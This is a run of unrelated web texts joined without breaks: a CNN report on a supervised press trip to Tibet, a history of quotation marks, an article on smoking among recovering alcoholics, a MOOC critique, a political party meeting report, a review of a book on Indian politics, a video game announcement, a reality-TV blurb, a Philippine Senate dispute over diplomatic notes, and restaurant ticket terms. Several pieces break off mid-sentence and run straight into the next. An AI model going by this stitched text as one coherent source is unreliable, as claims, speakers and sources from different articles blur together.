We were allowed in only under the watchful eye of government minders, who packed our days with activities -- art classes, operas and an international tourism expo.
An art student paints a traditional thangka at an art school CNN was taken to on a government-approved tour.
What we saw... and didn't see
The lack of access to anything controversial or the ability to ask any real questions was a theme of our trip.
When we met Tibet's vice chairman, Penpa Tashi, the most senior official we encountered, we hoped to be able to pose some tougher questions.
Instead, we were forced to sit silently as he spoke for 80 uninterrupted minutes, talking about how everyone in Tibet is happy and content -- a picture in stark contrast to the one painted by human rights activists.
We also asked to visit a Buddhist monastery during our stop in Nyingchi, a town near the border with India, but were told there were none nearby.
A quick Google search brought up a Chinese state media article from just two weeks earlier, showing a photo spread from a monastery in the same area, a mere 15 miles (24 kilometers) from where we were.
We asked our minder about that too, and he simply shrugged and ignored our question.
All in all, Lhasa, Tibet's capital, felt like most other Chinese cities I've visited -- safe, busy and very much in Chinese control.
A poster featuring the headshots of the previous five leaders of China greets visitors outside Lhasa airport. This same grouping of photos is seen throughout Tibet.
A tinderbox
For people who track daily life in Tibet, demonstrations of dissent are just a spark away from being reignited.
"Tibet is one of the regions in China where political oppression and religious oppression are at the highest point," says Nicholas Bequelin, East Asia Director at Amnesty International.
Much of the tension stems from concerns over the influx of Han Chinese -- China's dominant ethnic group -- into Tibet.
In 1964, there were just 39,500 Han Chinese in the remote region, just under 3% of the population, according to scholars. That figure now stands at 245,000, according to the 2010 census figures.
While this is less than 10% of the population, Han Chinese traders, workers and investors have mainly settled in Lhasa, where they control many businesses and fill better-paying jobs -- deepening resentment with Tibetans.
Nearly every shop we visited appeared to be owned by Han Chinese.
Economic inequality
The government has invested billions of dollars into transforming the region, focusing on building new infrastructure, schools, and modern medical facilities.
We saw a new multi-lane highway being built between Lhasa and Nyingchi.
As our mini-bus bounced over the existing road -- a muddy, potholed mess -- we envied what future travelers will drive on: the highway that will cut the nine-hour journey by half.
Many Tibetans are still extremely poor and welcome these improvements. But they have come at a cost. Traditional nomadic ways of life are beginning to disappear.
Others complain that ethnic Tibetans don't share equally in the benefits.
One afternoon in Lhasa, we left our minders behind during a lunch break, and wandered into some back streets not far from our hotel.
We met a 29-year-old Tibetan laborer who said he had never gone to school. |
language’s ę, ł, and other diacriticals. He says he felt privately glad that his first and last names lacked a missing Polish letter. It took years before one of his middle names was easy to type.
But ASCII and a few similar small character sets acted as a limitation only early on. With the right effort, even by the late 1990s, a browser could properly show the right curly quotes. But effort is the right word: While browsers could show typographers’ quotes, it was hard for users to type them.
* * *
Straight quotes appear as an abomination in a typeface, because their designers rarely love them; they’re included by necessity and often lack cohesion with other characters. The non-curly quote comes from the typewriting tradition, and arose from cost. As U. Sherman MacCormack wrote in The Stenographer in 1893: “For some time past the manufacturers of typewriters have adopted straight quotation marks, for the reason that the same character can be used at the beginning and end of the sentence, thus saving one key.”
At the time of the single quote’s popularization in the 1870s, the use of paired quotation marks was just over a hundred years old. Keith Houston, the author of The Book, has traced the history of many punctuation marks back hundreds and thousands of years on his blog Shady Characters, and in a book of the same name. “There was no quotation mark for a very long time,” he says. One first appeared in the third century BCE alongside the invention of basic punctuation. It resembled a right angle bracket, >, which was resurrected in the 1970s for quoting email without any apparent connection. (The history of that newer use of > remains undocumented.)The rates of smoking cigarettes among recovering alcoholics is three times that of the national average and research indicates that alcoholics are at greater risk for the negative health effects of smoking than other smokers.
An estimated 21% of the general population smoke cigarettes, but among chemically dependent people, the rate jumps to 80% to 95%. Researchers agree that the rate of smoking among recovering alcoholics is more than triple that of the general population.
Greater Health Risks for Alcoholics Who Smoke
Research also shows that because of the damage was done to the body by years of heavy drinking, recovering alcoholics who smoke are at a much greater risk of developing health problems related to smoking — particularly cancer and cardiovascular disease.
Consequently, the death rate for alcoholics following treatment is 48.1% within 20 years, compared with only 18.5% for the general population. More than half of those deaths are attributed to smoking (50.9%) compared with 34.1% for alcohol.
The Myth That Quitting Will Threaten Your Sobriety
One reason few recovering alcoholics attempt to quit smoking is the belief that the stress of quitting smoking could jeopardize their sobriety. Few treatment centers require their patients to stop drinking and smoking at the same time, mainly because many of the people who work in the treatment industry are smokers themselves. Members of recovery groups are warned by other members to "take one addiction at a time," further perpetuating the myth.
Scientific research, however, tells a different story. Several studies have found that quitting alcohol and cigarettes at the same time actually enhances the chances of maintaining sobriety. The reason, research shows, is because nicotine can increase the craving for alcohol, especially for those who always drank and smoked at the same time.
Most Alcoholics Have Tried to Quit Smoking
Most recovering alcoholics know they need to quit smoking and want to quit. A survey of people in treatment for alcohol dependence found that more than 50% said they wanted to quit and two-thirds of them had actually tried to quit at least once.
Typically, the main reason recovering alcoholics fail to quit smoking is because they try to do it on their own. Rather than using the same tools they used to quit drinking — medical treatment, professional counseling or support group participation — they try to quit smoking without assistance and often fail.
Reasons to Quit Smoking
According to Terry Martin, the Verywell.com Smoking Cessation Expert, the vast majority of people who smoke fervently wish they did not. Quitting is not easy, no doubt about it. But it begins with having the will to quit. Martin provides lists of the benefits of quitting.
Preparing Yourself to Quit
Get Help for Smoking Cessation
The good news about quitting smoking is that you don't have to do it alone. There are quit smoking aids available to help and a world of support out there to encourage you.I think overall MOOCs are seeing a problem achieving profitability, which is caused by a few sub-problems:
The Grading Problem
Courses have to walk a fine line between grading too harshly (thus discouraging or invalidating the work of a larger proportion of their students), or grading too loosely (which muddies the signal of how much a student learned in a course). This is complicated by the fact that many (if not most) courses are graded on a pass/fail system (some with a 'pass with distinction') - the problem isn't just "What does an A- mean for this course?" but "What does a 'pass' mean for this course?".
I think a deeper root of this problem is the question of what the point of a MOOC is - is it to transfer mastery of a topic to a student, or just a passable working knowledge? Or is it just to signal that a student was interested in a topic and put in some amount of time to learn a bit of it? The different courses I took seemed to follow different philosophies on this topic, but I think all of them erred on the side of being too lenient when it came to grading - effort, not mastery over the content, was enough to pass every course.
The Practicality Problem
Are MOOCs trying to teach just practical work-related skills, or to bring elements of a "liberal arts" program to the public? Most MOOCs right now have both (Udacity seems to lean towards the practical), even though the practical skills ought to be more monetizable. But, trying to address both goals might confuse the direction of product development (not to mention the development of online pedagogy). This would seem to make business / monetization problems more challenging, and also create too diverse of an audience to be able to satisfy everyone. This is a deeper question about the philosophy of the MOOC and the "end goal", and whether any single MOOC can reasonably be excellent at teaching both practical and more more liberal arts subjects.
The Openness Problem
One strength of MOOCs is that they are open to students of all backgrounds - there is no barrier to joining the MOOC, many classes are at the introductory level, and prerequisites for more advanced classes are not enforced. This is also a weakness with the MOOC model. One reason is that it is then more difficult to teach advanced topics to a potentially wide range of students and backgrounds. Another reason is that for a potential employer, it obfuscates the signal of a student completing the class: a student completing a course on machine learning has obviously put in some amount of time and effort, but what does it mean if the course had tens of thousands of students? Was the content simplified to reach a loewr common denominator of pre-existing knowledge? Did the student master the content? Achievements shared by too many lose their distinction.
The Brand Name Problem
The biggest MOOCs use partnerships with brand-name universities or companies as a way to advertise the legitimacy of courses. Students can filter the class listing by posted institution, and the instructors are employees or faculty at those institutions. However, any certificate earned as a result of completing the MOOC is not affiliated with that provider institution.
There is some irony in the fact that large numbers of MOOC students might be drawn to a brand name institution because of the perceived exclusivity and thus signaling of that name. I am unsure as to the correlation between the reputation of a MOOC course's institution and the quality of that course (this correlation will probably rise over time), but there is a definite disconnect between a MOOC's desire to use these brand names to attract students, and the schools' reluctance to "certify" potentially thousands of students who complete their courses online.
The Curriculum Problem
This problem occurs on many levels. On the course level, how does a professor choose what material to put into the course? Will she teach just the most practical information, or mix in underlying theory as well (which may not be as practical, but which could strengthen practical knowledge)? On a multi-course level, how does a MOOC create and advertise a set of courses that, when taken together, provide the student with a clearly defined and clearly useful skillset?
MOOCs are now creating degree-like programs (e.g. "Specializations" and "XSeries"), and the design of these mini-degrees bring up some interesting questions (and answers). How many courses should be required? (Anywhere from two to ten.) Should the students be required to take the courses in a certain order? (Yes.) Will the courses still be restricted in terms of timing / when students are able to take them? (Yes.) Will these curricula focus only on practical skills or also other academic topics? (There are generally more computer science-related tracks currently.)Link to this page: https://www.socialistparty.org.uk/articles/18627
Posted on 15 May 2014 at 15:59 GMT
TUSC meeting at POA conference
35 delegates attended TUSC's excellent fringe meeting at this year's Prison Officers' Association union conference in Southport, not long after New Labour's shadow prisons minister received some sharp words from POA general secretary Steve Gillan for failing to address the key issues of union rights, retirement age and reversing privatisation.
Speakers from the POA and TUSC emphasised the need for "a left-wing alternative for working people", as POA and meeting chair PJ McPartlin said. Tony Mulhearn, speaking on behalf of Merseyside TUSC, outlined the austerity that is hammering wages, contracts and public services, with Labour complicit, leaving the working-class effectively disenfranchised.
With this year's huge electoral challenge by TUSC, said Tony, if we hold our nerve and have some vision about what is possible then we can build the outline of a new mass force. POA assistant general secretary Joe Simpson declared: "I'm standing for TUSC because I'm sick and tired of the thieving rob-dogs running this country. We're being robbed and yet the trade unions are still filling the coffers of a Labour Party that has done nothing to defend us. We need an alternative because Labour has totally forgotten about working class people". Brian Caton, former POA general secretary and the meeting convenor, called on POA members and branches to get involved with TUSC, and to sponsor TUSC candidates especially in key areas where we could make a major impact.
Closing the meeting, PJ McPartlin pointed out that the title of the meeting was "Politics and the POA" and that the two are inseperable. With several POA members like Brian and Joe standing as TUSC candidates this year, support for TUSC will continue to grow in the union.One of the irritating aspects of writing a book about current events is that those events change faster than the book can reach the market. Simon Denyer’s account of Indian politics and society comes out in the United States after Indians have elected a new government, with a new prime minister, Narendra Modi. Until recently, Modi was unable to enter the United States because of his role in sectarian violence in 2002 in the state of Gujarat, where he was chief minister; more than 1,000 people died, the majority of them Muslims. Since Modi’s election in May, President Obama has invited him to the White House, and this fall — for the U.N. General Assembly meetings in New York — Modi will finally get to make the visit that his supporters will see as vindication.
Denyer has reported from India extensively over the past decade, first for Reuters and then as a correspondent for The Washington Post. (He is now The Post’s Beijing bureau chief.) He likes India’s raucous democracy, its feisty media and the bursting optimism of its people, just as he is dismayed by its governance. “I have grown immensely frustrated with its chaotic style of government,” he writes, “the inability to take decisions, the rampant corruption and the denial of economic opportunities to so many of its people. But I have also come to love its freedom of speech, its secular DNA, and the checks and balances inherent in its democracy. To deliberately mix a metaphor, it is the glue that keeps India together and the oxygen that keeps me breathing here. I can understand the frustration in the way that the great secular vision of India’s Independence leaders has been debased by today’s mediocre politicians into the politics of appeasement and pandering. But the miracle of India, the way that Hindus and Muslims live together largely peacefully as citizens of this great nation, largely immune from the polarizing winds of the ‘War on Terror,’ still inspires me to hope.”
But Denyer is lukewarm about the new prime minister. Modi makes a proper appearance in this book only in the penultimate chapter, and because the book was written before the elections, we can only surmise the source of his appeal to voters. Denyer scrupulously credits Modi with the economic growth and development that Gujarat has experienced under his rule, but he also notes Modi’s penchant for publicity. He reports that young Indians are willing to forget Gujarat’s bloody past, but he is not so sure: “Say what you like about Narendra Modi, but he doesn’t lack confidence in his own ability. But in his assault on secularism and the rights of minorities, in his autocratic style, does Narendra Modi threaten the very essence of what makes India great?” Denyer does not answer the question, but his dismay and anxiety reveal where his sympathies lie.
Though not discussing Modi’s appeal, Denyer presents an accurate view of the slow disintegration of public faith in the United Progressive Alliance, which ruled India from 2004 for a decade under the leadership of the soft-spoken economist Manmohan Singh. Denyer contrasts the respect Singh earned among world leaders — Presidents George W. Bush and Obama speak highly of him — with the ridicule he provoked among Indians, particularly in his second term. Denyer traces the disenchantment to three factors: a buoyant anti-corruption movement, which targeted Singh’s administration; a ratings-hungry electronic media, which is unruly and combative; and the emergence of a generation that has known India only as a growing economy.
Until the collapse of the Soviet Union, India ran a fairly closed economy with severe restrictions on foreign trade and investment. That changed in 1991, when the government of former prime minister P.V. Narasimha Rao initiated economic reforms (Singh was finance minister at the time) and India began its reintegration with the global economy. Since then, Indians have been used to growth rates exceeding 5 percent, often reaching 8 to 9 percent, unlike the chronically sluggish 2 to 3 percent growth rates of the socialist era of Jawaharlal Nehru and his daughter Indira Gandhi, who between them ruled India for 33 years. Denyer shows how the combination of these factors fed an impatience among voters that most politicians failed to understand.
‘Rogue Elephant: Harnessing the Power of India's Unruly Democracy’ by Simon Denyer (Bloomsbury)
Denyer has reported well out of India, but he refers once too often to a 2012 article he wrote about Singh in The Post that described the prime minister as a tragic figure. It was a balanced if critical assessment, but unsurprisingly Singh’s aides were incensed. While Indian politicians know that their voters don’t read international newspapers, they like to pretend to be thin-skinned, and much of their bluster against foreign media is for domestic consumption. But Denyer seems to take the reactions to that article too seriously, referring several times to ordinary Indians praising him, and ruling politicians criticizing him or canceling meetings with him.
Those incidents are credible, but Indians turned against Singh not because of that article but because of the events Denyer describes so meticulously in the book: appalling incidents of violence against women, widespread corruption, the struggle of the landless against the economically powerful, the campaign for the right to information, and blissfully unaware and utterly lackluster leadership by the Congress Party’s heir apparent, Rahul Gandhi, whose father (Rajiv Gandhi), grandmother (Indira Gandhi) and great-grandfather (Jawaharlal Nehru) had all been prime ministers.
Denyer emphasizes the tone-deaf inability of the government to understand or meet the rising expectations of the country. He focuses not only on well-known cases such as the ghastly rape and subsequent death of “J,” a young student in Delhi in December 2012, but also on indescribably cruel but less-known instances of sexual violence in the countryside. He describes the corrosive influence of corruption on the allotment of licenses for coal mining and for additional radio frequencies for cellular communications. And he showcases inspiring bureaucrats such as Ashok Khemka who question the land deals of Rahul Gandhi’s brother-in-law, and auditors such as Vinod Rai who point out the potential loss to the country because of rigged bidding that awards licenses to favored businessmen, allegedy for bribes. He also sketches the anti-corruption movement, from the eccentric, faux-Gandhian leader Kisan “Anna” Hazare to the shrewd and stubborn former revenue official Arvind Kejriwal, who went on to form a political party that briefly ruled the Delhi state government and fielded more than 430 candidates in parliamentary elections, but won only four seats.
Denyer travels to remote parts of the country, but oddly, too many of the people he consults come from the capital’s set of talking heads — journalists, writers and academics. Tighter fact-checking could have prevented a few avoidable errors: e.g., Vishwanath Pratap Singh defeated Rajiv Gandhi in 1989, not 1984. There are also curious phrases, such as that the people of the northeastern state of Manipur “look much more Burmese than they do Indian,” which implies that in such a polyglot country as India there is such a thing as an “Indian” look.
But those are minor blemishes. And even though the book does not trace the rise of Modi, it makes abundantly clear why the Singh government lost, paving the way for precisely the sort of politician who doesn’t appear to care much about the liberal, secular and democratic fabric of the country that Denyer so admires.
Salil Tripathi is a London-based writer. His book on Bangladesh’s war of independence and its aftermath will be published in late 2014.Tokyo Clanpool launches October 5 in Japan
Compile Heart's latest PS Vita dungeon RPG dated.
Tokyo Clanpool will launch for PS Vita in Japan on October 5, the latest issue of Dengeki PlayStation reveals.
The story of Tokyo Clanpool is set in near-future Tokyo, when an upside-down city suddenly appears in the sky, and a tower stretching from the city connects to the National Diet Building to form the demonic “Dark World Diet Tower.” In order to fight against the monsters overflowing into the city and clear the tower, the protagonist Natsume Kannuki assumes the office of first-generation prime minister and leads a cabinet of girls.
In addition to the release date, Dengeki PlayStation has details on a powered-up form for the heroine and company called “Holy Manifestation Mode.” During battle, the girls equip their “Digi-Skins,” but by switching over to Holy Manifestation Mode, an aura will surround and further enhance them. The magazine has visuals of Natsume, as well as party members Chiyo Saionji, Hotaru Urushihara, and Mikuri Kirigakure in their Digi-Skins and Holy Manifestation Modes, as well as comments from character designer Tsunako.
Here’s a look at Natsume in her standard look, Digi-Skin, and Holy Manifestation Mode:
Natsume – Standard Natsume – Digi-Skin Natsume – Holy Manifestation Mode
The magazine also has an introduction to the game’s “Gadgeteers” system, which described as essential to Holy Manifestation Mode. Gadgeteers are cyber spirits themed after gadgets and designed by well-known illustrators. Here is a look at one of the Gadgeteers:
Thanks, Dengeki Online.Anfisa may be the best argument in favor of a travel ban. You know, so long as President Trump extends it to his (alleged) friends in Russia, though that feels unlikely.
Anyway, the “90 Day Fiance: Happily Ever After?” subject and Moscow’s worst export has been treating new husband Jorge like crap since Day 1. The honeymoon period isn’t over for these two — it never even started. And now that Anfisa is on the verge of getting a green card, let’s just say her options are opening.
“It’s very important,” Anfisa tells her American hubby on the way to their interview. “I’m going to get my green card, and I’m going to leave you.”
Also Read: '90 Day Fiance: Happily Ever After?': Watch Anfisa Slap Jorge in the Face (Exclusive Video)
Ah, young love. Watch the sneak peek video above, which is exclusive to TheWrap.
TLC’s “90 Day Fiance: Happily Ever After?” airs Sundays at 8/7c.'This guy is a fraud,' Senate President Juan Ponce Enrile says, referring to Sen Antonio Trillanes IV. 'This phantom of the opera in Philippine politics.'
Published 5:06 PM, September 19, 2012
MANILA, Philippines (2nd UPDATE) – Senate President Juan Ponce Enrile and Sen Antonio Trillanes IV lashed out against each other over China and the division of Camarines Sur.
Trillanes suddenly took to the floor on Wednesday, September 19, and announced that he is bolting the Senate majority coalition after losing trust in Enrile’s leadership.
In a privilege speech, Trillanes accused Enrile of gerrymandering and being a lackey of former President Gloria Macapagal-Arroyo by pushing for the division of Camarines Sur. Trillanes recalled that in a Senate caucus held last July 24, Enrile pressured senators to support the division of the province.
“Kasi po, ang kalakaran talaga dito ay: “Kung gusto ko, isasagasa ko; kung ayaw ko, uupuan ko,” Trillanes said, mocking Enrile's campaign slogan. (Because the policy here really is: 'If I want to, I will railroad. If I don't want to, I will sit on a bill)
“Our Senate President is deeply indebted to GMA; or that he is a GMA lackey. Either way, I have lost trust, faith and confidence in Senator Enrile’s capability to lead the senate along the path consistent with the reform agenda that I espouse.”
The division of the district is supposed to benefit Arroyo's son and incumbent Rep Dato Arroyo.
Enrile was quick to respond. He immediately took the podium but instead of discussing Camarines Sur, the Senate President said at issue was Trillanes’ back-door negotiations with China over Manila's territorial dispute with Beijing over the South China Sea.
“Somebody in this chamber was in the headlines for meddling in foreign affairs,” Enrile said in reference to Trillanes. “Probably this is a way to camouflage it.” The Philippine Daily Inquirer on Wednesday reported that Trillanes was accusing Foreign Secretary Albert del Rosario of sabotaging his "back-channel efforts" to find a diplomatic solution to the problem with China over the South China Sea.
The Senate President even reminded Trillanes, "I was the one who took you out of the rut when you were in prison in Camp Crame. I went out of the way to talk to people so you can get back here in the Senate and I guaranteed your presence here, but I’m not saying this because I don’t want you to owe any favor to me. I’m just putting that into record to show the character of each one of us here.”
Enrile threatened to read what he said were notes of Philippine Ambassador to China Sonia Brady about a meeting with Trillanes in Beijing. At this point, Trillanes said Enrile was being out of order because the notes concerned sensitive information on foreign relations and security.
Trillanes walks out
Trillanes then walked out of the Senate session hall.
"He cannot take the heat. He's a coward," Enrile declared.
The Senate President went on to read the notes into the record. The notes were dated August 17, 2012. Enrile said Brady’s notes showed the following:
Trillanes asked Brady not to take down notes on the meeting
Trillanes met with a senior Chinese Ministry of Foreign Affairs official the night before [his meeting with Brady]
Trillanes called Foreign Secretary Albert del Rosario a traitor and said he committed treason
Trillanes secretly met with Chinese officials about Scarborough Shoal and the West Philippine Sea. (Enrile said the meetings numbered 16.)
President Aquino did not know the arrangements Trillanes made with the Chinese
Trillanes said in the Philippines, "No one cares about Panatag (Scarborough) Shoal"
Trillanes said China never intended to put up a station in the Scarborough Shoal
Trillanes told Chinese officials the Philippines cannot enforce its coastal protection
Trillanes said the Philippines should have lobbied with the Association of Southeast Asian Nations as China did
Trillanes claimed he resolved the problem with Philippine banana exports to China
Trillanes insisted on bilateral talks with China when the Cabinet wanted a multilateral approach
Enrile said of Trillanes, “That’s why he’s not here because I want to ask him. My God, this guy is a fraud... He is supposed to be a trained military man but he does not know anything about military strategy.”
Trillanes was a Navy officer before plotting coups against the Arroyo administration and eventually being elected senator in 2007. Enrile, 88, was former defense chief during the Martial Law years, and a long-time lawmaker.
Incidentally, Trillanes, 41, is the youngest senator while 88-year-old Enrile is the oldest of the lawmakers.
Enrile said that in Cabinet meetings on China, Trillanes was the laughingstock because of his statements but the Senate President then thought it best not to tell Trillanes about this.
At some points, Enrile stopped to exclaim, “My God, what kind of a senator is this?”
At the end of his reading, Enrile said, “I read the notes of Ambassador Brady to unmask this phantom of the opera in Philippine politics."
Enrile's'monumental blunders'
In a statement on September 24, Trillanes said Enrile made "monumental blunders" in exposing the so-called Brady notes.
“First, JPE wrongly assumed that Ambassador Sonia Brady purportedly took those notes down while I was meeting with the Chinese officials. For the record, she was never present in any of the backchannel talks conducted,” Trillanes said.
Trillanes said during the private meeting with Brady on August 17, he and a member of his staff were accompanied by Philippine Consul Evangeline Ong Jimenez-Ducrocq but there were no Chinese officials present. Trillanes said he arranged for the meeting because Brady was then new to the embassy and he wanted to brief her about the backchannel talks.
“So if these Brady Notes indeed exist, this is where she or Consul Jimenez-Ducrocq probably wrote it. Now, I absolutely don’t see anything wrong about conducting a briefing and coordinating with Ambassador Brady,” Trillanes said.
“Second, JPE brazenly exposed state secrets just to spite me and it eventually blew up on his face, Lastly, he unwittingly pointed to the DFA as the only possible source of those classified documents,” Trillanes added.
Trillanes reiterated that Enrile and the so-called Brady notes took his statements out of context and many of his points were lost in translation because only bullet points were written and not his actual words.
He again called on Enrile to release the actual document in public.
Trillanes said, "I can defend the statements I make."
'Brady’s notes'
Below are the notes of Brady in full, as read by Enrile verbatim into the Senate record. Enrile said he got an official copy of Brady's notes. The entries in italics are Enrile’s comments on the notes:
1) “Senator Trillanes requested that no notes be taken.”
2) “What the Chinese want is to tone down the rhetoric. He met the night before with senior Chinese MFA officials, Ministry of Foreign Affairs”
3) “Senator was initially approached by Executive Secretary”
4) “When he got involved, it was in the height of the problem. He had to find out what was happening so he tried to see whether this was a move of the Americans. He was suspecting the Americans were involved in the conflict. He ascertained that they do not want any conflict especially in an election year.”
“I think the word 'they' there refers to the Chinese."
5) “On Secretary del Rosario, US has already let him go, binitiwan na siya, this is the note of Brady. In the July meeting, Hillary Clinton did not speak up for us. Secretary Del Rosario is committing treason.”
“This is a senator of the Republic calling our Secretary a treasonous person in a foreign land. He does not even know when treason arises.”
6) “We are internationalizing the issue because of Secretary del Rosario. This is his move.”
7) “There was never any negotiation between the Chinese and the Americans, just a meeting with Kurt Campbell. Mr Campbell was not a negotiator. Besides, Secretary del Rosario was not there.”
[Editor’s note: Campbell is the US Assistant Secretary of State for East Asian and Pacific Affairs.]
8) “The arrangement being looked at by the senator, meaning Senator Trillanes, was one side would leave first then the other side then the next, etc. They were talking about the manner of evacuating the Scarborough. He then received a call from PNoy [Philippine President Benigno Aquino III], saying why are the Chinese still there when there was an agreement for simultaneous withdrawal. He thought to himself, ‘This is not the arrangement.’ He was protecting the Chinese.”
“He asked Manny V Pangilinan to ask Secretary Del Rosario to keep quiet, to quiet down. This has now happened. The two go a long way back because it was also Secretary del Rosario who introduced Mr Pangilinan to the Indonesian businessman. During the days of the PLDT, Secretary Del Rosario confronted the Yuchengco group/shareholders and threatened them.”
“This is a senator talking aback against a Cabinet member.”
9) “The 2+2 meeting in the US, Mr Pangilinan was paying a lobby group to get that meeting.”
10) “The 2+2 meeting, Mr Pangilinan was paying a lobby group to get that meeting.”
“I don’t know what that 2+2 meeting was all about. We thought all along it was the accord of the US.”
[Editor’s note: The 2+2 meeting was a meeting between del Rosario, Defense Secretary Voltaire Gazmin and their US counterparts, Secretary of State Hillary Clinton and Defense Secretary Leon Panetta in Washington DC last April 30, 2012.]
11) “DFA was the one who kept releasing press articles. Now the press is turning their back on Secretary Del Rosario. In this way, he is being marginalized. The release of the picture of a man planting flag on Panatag is from the 1980s so this was rehashed. The Hasa-Hasa grounding of the Chinese frigate, there was supposed to be no press release but when the DFA got hold of it, it released it to the media. The ramming was also an incident that was released to the press.”
“Trillanes wanted everything that was happening in Scarborough to be made secret so it will protect the interest of the Chinese.“
12) "Mr Pangilinan and Secretary Del Rosario wanted to create an event.”
“He was accusing these two of manipulating a war condition to divert attention from the Reed Bank.”
“The findings there were not substantial so Mr Pangilinan asked the Chinese group not to release the findings. They needed time to ensure they can recover their investment, first sell off to another buyer.”
“Imagine what a senator [said], nakakahiya.”
13) “[They] were alarmist in the Palace meeting, when Sec Del Rosario presented the invasion of Luzon.”
“I was there. This is a total falsehood.”
“So nabilog ang ulo ng lahat. You saw this in the meeting, even Senate President Enrile wanted to cut relations.”
“This is very alarmist. This gentleman is foisting falsehood. I was there. President Aquino was in front of me and the secretary of foreign affairs, poor secretary of foreign affairs who was being pilloried by this novato in foreign relations, accusing him of not knowing his job. And I said I support the position of the Department of Foreign Affairs. We should involve our allies and friends in this discussion because we cannot handle the Chinese on a bilateral basis but he was insisting on a one-on-one dealings with China. What bargaining position do we have? He is supposed to be a trained military mind but he does not know anything about military strategy.”
14) “The senator was inquiring, this is Brady talking, on which official could visit China because the Chinese side were angry with PNoy, they suggested his kalaban, the Vice President.”
“Imagine intriguing between the President and the Vice President?”
“Senator thought perhaps Mar Roxas na lang, the Chinese side said an official could meet Chinese Vice President.”
15) “In Panatag Shoal, there was never a problem in their presence, from 66 boats, this was reduced to 3. The Chinese side said they will eventually take out the rope. They may eventually have given time.”
16) “This is his 12th, according to Mrs Brady, that was his 12th meeting with the Chinese. Sen Trillanes has been quietly, secretly, clandestinely meeting with the Chinese about the Scarborough and the West Philippine Sea. PNoy called the senator when he saw the Chinese did not keep their word to withdraw. PNoy did not know of the arrangements being made by the senator.”
“Imagine talking to a potential enemy of this country 16 times. What did he discuss with these people? Who initiated the discussion? Did he or did they? Did they pay for his trip to Beijing? He should answer. That’s why he could not be here because I’m going to ask him. My god, this guy is a fraud.”
17) “PNoy did not know that talks were suspended with the Chinese for 2 weeks.”
18) “PNoy gave his clearance to pursue initiatives on back-channel talks.”
“This is his representation to Mrs Brady.”
19) “In the Philippines, no one cares about Panatag Shoal. He said to Mrs Brady, sa Pilipinas, walang may gusto na sa atin ang Panatag, ang Scarborough Shoal.”
“Iyan ang sinasabi niya. Pilipino ba iyan? Makabayan ba iyan? My God, what kind of a senator is this? China was never going to put up a station there, 'yun ang sinabi niya, sinabi ni Trillanes, he was speaking for China. If China wanted to, they would have done so already. That was his position. He did not realize that the whole China Sea is being claimed by China and yet he claims to be an expert in international law, expert in security, expert in geopolitical struggle, expert in foreign relations?"
[Editor's note: On September 25, Trillanes told Rappler that this paricular statement was taken out of context. He said what he told Brady was that at the height of tensions, the Chinese boycotted Philippine products and some Filipinos in China experienced poor treatment. Trillanes said that what he meant was in comparison, in the Philippines, Filipinos were acting "business as usual" and were not harassing Chrinese citizens.
"The way it came out was we did not care about the issue. I said we were more positive than the Chinese public but it was in no way meant to diminish our claim to Panatag Shoal," Trillanes said.]
20) “About Sansha City and the garrison, senator meaning Trillanes said, we also have garrison in KIG.”
“I think this is Kalayaan Island Group. Garrison ba iyon? Ako nagpalagay nung airstrip doon para mabigyan natin ng ayuda ang ating mga sundalo doon pero hindi garrison iyon. Hindi kagaya nu'ng sinusuportahan niya na bansa na merong mga fortification doon. Para sa kanya hindi fortification iyon, laruan lang iyon. Ewan ko sinong nagturo sa kanya sa Philippine Military Academy.”
“Besides this is for their domestic audience.”
“Domestic audience daw pero kinukuha nila ang lugar natin pero sa kanya, parte lang ng pulitika ng Tsina ito. The Chinese could have attacked our garrison if they wanted to. What in my military mind?
“We also have a sunken ship in the area which we did on purpose.”
“Itong pinagmamalaki niya. Siguro baka siya ang nagpalubog nito pero di ko narinig ito when I was in the Defense Department. Ngayon ko lang narinig ito.”
21) “Trillanes told the Chinese that we cannot enforce our coastal protection.”
“That is the kind of a Philippine senator you have here. He told the Chinese that we cannot enforce our coastal protection.”
“Our fishermen are living on subsistence fishing. They cannot therefore fish too far.”
“Ibig sabihin, ipamigay niyo na lang ang Scarborough Shoal. Tumakbo tayo sapagkat tayo ay mga duwag. Magkukunyari pupunta sa galeriya, magpapakita sa media para tumakbo lamang.”
22) “The Philippine side did make gapang the ASEAN, which the Chinese did.”
“Akalain mo sinasabi niya dapat gapangin natin ang mga ASEAN dahil gumagapang daw ang mga intsik |
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(a) changes in relevant laws and regulatory requirements;
(b) changes in our operation or to reflect changes in our operational requirements;
(c) changes in our contractual or other arrangements with and/or our contractual or other obligations to third parties (for example, such as payment intermediaries who you use to pay for or through which you make payment for a Ticket).
9. HOW TO PAY
9.1. When ordering and purchasing a Ticket via our site, you can only pay for Tickets via Stripe (which is the payment intermediary we use), using a debit card or credit card, or other payment method permitted by Stripe and in accordance with Stripe’s Terms and Conditions and requirements. If you are paying by telephone we will advise you of the methods you may use to pay.
9.2. Payment for the Ticket and full payment for any additional administrative or other charges payable in relation to your Ticket is in advance. We will not dispatch your Ticket Confirmation, and your Reservation linked to that Ticket will not be confirmed, until we have received full payment for your Ticket, together with full payment of any other charges payable in relation to your Ticket. If any part of payment is rejected, your ticket confirmation will not be dispatched.
10. PRICE OF TICKETS AND ENTITLEMENTS
10.1. The prices of our Tickets will be as quoted on our site at the time you submit your order and that price must be paid in full at the time of order. The prices of our Tickets will only be quoted in pounds sterling (£ sterling) and the price of a Ticket must be paid in pounds sterling (£ sterling). Due to the small size of the Premises and the limited number of tables within the Premises, Tickets are sold exclusively per table at fixed prices that vary according to the maximum number of guests each table seats. For example, you might purchase a Ticket for a table seating four guests, but the price you pay for that Ticket is fixed, so this means we are unable to agree or to provide, and we will not provide, any reduction or refund in respect of the price of that Ticket if your party will only comprise three guests, or comprises only three guests when you attend The Fat Duck on your Reservation Date, and nor will we, in those kinds of circumstances, accept or set-off any part of the price of that Ticket as payment for or against the cost of any item not included in the Tasting Menu (for example any drinks not included in the Tasting Menu).
10.2. The prices of our Tickets may change from time to time, but changes will not affect any order you have already placed.
10.3. The price of a Ticket includes Value Added Tax (VAT) (where applicable) at the current rate chargeable in the United Kingdom.
10.4. A Ticket purchased from us by its owner in accordance with these Terms entitles its owner upon its presentation by and use by its owner in accordance with and subject to these Terms, to:
- be seated (together with the other guests in his or her party, up to the maximum number of guests specified in the Ticket Confirmation) on the Reservation Date at a table selected by us in our discretion only for the duration of that Reservation;
- be supplied, on the Reservation Date at the Premises, and subject to clauses 10.5, and 10.6, with one Tasting Menu per guest (up to the maximum number of guests specified in the Ticket Confirmation) which may only be consumed on the Premises during the Reservation.
